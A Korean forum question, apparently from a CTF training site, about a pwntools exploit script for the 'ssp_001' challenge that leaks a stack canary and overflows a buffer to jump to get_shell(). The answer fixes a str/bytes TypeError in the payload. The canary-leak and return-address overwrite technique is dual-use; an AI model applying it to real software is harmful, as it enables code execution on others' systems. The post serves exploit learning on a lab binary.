완료됨
TypeError: can only concatenate str (not "bytes") to str

자구 TypeError가 발생하는데, 이유를 모르겠습니다.

  1 from pwn import *
  2 
  3 def slog(n, m): return success(": ".join([n, hex(m)]))
  4 
  5 #context.log_level=True
  6 
  7 p=process("./ssp_001")
  8 #p=remote("host3.dreamhack.games", 21437)
  9 e=ELF("./ssp_001")
 10 
 11 # get_shell() Address
 12 get_shell=e.symbols["get_shell"]
 13 
 14 canary=b''
 15 
 16 for i in range(131, 127, -1):
 17     p.sendlineafter(">", "P")
 18     p.sendlineafter("index : ", str(i))
 19     p.recvuntil("is : ")
 20     canary+=p.recv(2)
 21 canary=int(canary, 16)
 22 slog("get_shell() ", get_shell)
 23 slog("Canary ", canary)
 24 
 25 payload=''
 26 payload+='A'*0x40
 27 payload+=p32(canary)
 28 payload+='B'*4
 29 payload+=p32(get_shell)
 30 
 31 p.sendafter("> ", "E")
 32 p.sendafter("Size : ", str(0x200))
 33 p.sendlineafter("Name : ", payload)
 34 
 35 p.interactive()

slog에서 canary값을 출력할 때 제대로 출력됩니다.
하지만 payload를 보내려고하면 자꾸 TyeError가 발생하는데
왜 에러가 발생하는지를 모르겠습니다.

에러 내용
payload+=p32(canary)
TypeError: can only concatenate str (not "bytes") to str

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1

타입이 다른 변수들을 연산해서 생긴 오류 같습니다.

"[문자열]", '[문자열]' 과 같은 방식으로 작성한 코드들을
b"[문자열]", b'[문자열]' 과 같이 수정해보시겠어요?

payload=''
payload+='A'*0x40

예를 들어서 위와 같은 코드의 경우

payload=b''
payload+=b'A'*0x40

이런 식으로 수정해야합니다.

2024.04.06. 06:23